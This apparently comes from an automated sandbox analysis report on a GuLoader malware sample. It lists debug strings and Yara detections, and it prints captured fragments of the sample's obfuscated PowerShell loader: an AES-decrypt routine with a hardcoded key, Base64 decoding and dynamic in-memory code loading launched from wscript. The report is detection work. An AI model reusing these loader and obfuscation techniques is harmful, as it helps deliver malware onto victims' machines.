Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000A.00000002.3263198460.00000000025AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3352588129.0000000007C01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws\System.Core.pdb source: powershell.exe, 0000000E.00000002.3352588129.0000000007C81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb_ source: powershell.exe, 0000000A.00000002.3373832812.0000000006C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ore.pdb_ source: powershell.exe, 0000000A.00000002.3373832812.0000000006C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 0000000E.00000002.3372267954.0000000008D00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb, source: powershell.exe, 0000000E.00000002.3352588129.0000000007C81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.StdIn();IHost.StdErr();IHost.StdOut();IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\CurrentVersion");IHost.FullName();IWshShell3.Run("powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([Str", "0", "false")

Yara detected GuLoader

Source: Yara match

File source: 0000000E.00000002.3375923464.000000000AC25000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Whiffer)$global:Hebenon = [System.Text.Encoding]::ASCII.GetString($Forlis)$global:Desquamations=$Hebenon.substring($Hjsangs,$Destalinising)<#Afslutt Adoptivdtrenes nedrulningen Salin
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Discommend175 $Fugitating120 $Kortspillene), (Wraithy @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Institutionaliser = [AppDomain]::CurrentDomain.GetAss
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Leveringstidspunktet)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($blankoveksel, $false).DefineType($Ly
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Whiffer)$global:Hebenon = [System.Text.Encoding]::ASCII.GetString($Forlis)$global:Desquamations=$Hebenon.substring($Hjsangs,$Destalinising)<#Afslutt Adoptivdtrenes nedrulningen Salin

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 